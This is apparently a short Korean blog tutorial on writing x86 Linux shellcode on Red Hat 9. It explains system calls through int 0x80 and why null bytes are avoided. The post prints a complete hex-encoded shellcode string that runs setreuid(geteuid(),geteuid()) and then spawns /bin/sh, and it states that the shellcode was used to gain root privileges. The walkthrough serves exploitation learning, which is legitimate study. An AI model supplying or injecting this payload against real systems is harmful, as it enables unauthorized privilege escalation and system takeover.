티스토리 뷰

Shell Code 제작 



환경 : vmware redhat 9 linux.


 


시스템 콜을 이용하여 shell Code를 만들 수 있다.


 

시스템콜 번호 확인


 

GDB로 확인.


 

MOV EAX [시스템 콜번호]

Int 0x80

인터럽트 0x80명령으로 시스템 콜 번호에 해당되는 역할을 실행할 수 있다.

/tmp/shcode.asm 작성.


 

 

 l  XOR EAX, EAX 또는 MOV AL 을 사용하는 이유

Objdump 확인NULL바이트가 포함되면 기계어에서 NULL byte로 인하여 쉘코드 삽입이 중간에 끊기게 된다.

위와 같은 코드로 작성할 경우 objdump 확인시 아래와 같다


 

[objdump 확인]



 



 


setreuid(geteuid(),geteuid()); 를 포함한 최종 Shell Code


 일반 코드 

 setreuid(geteuid(),geteuid());

 기계어 연결

 \xeb\x1f\x5e\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31

\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x89\xe2\x89\xf3\x56\x89

\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e

\x2f\x73\x68


 


그림과 같이 shell code 를 이용하여 root 권한을 획득.





Comments
최근에 올라온 글
최근에 달린 댓글
TAG
more
Total
Today
Yesterday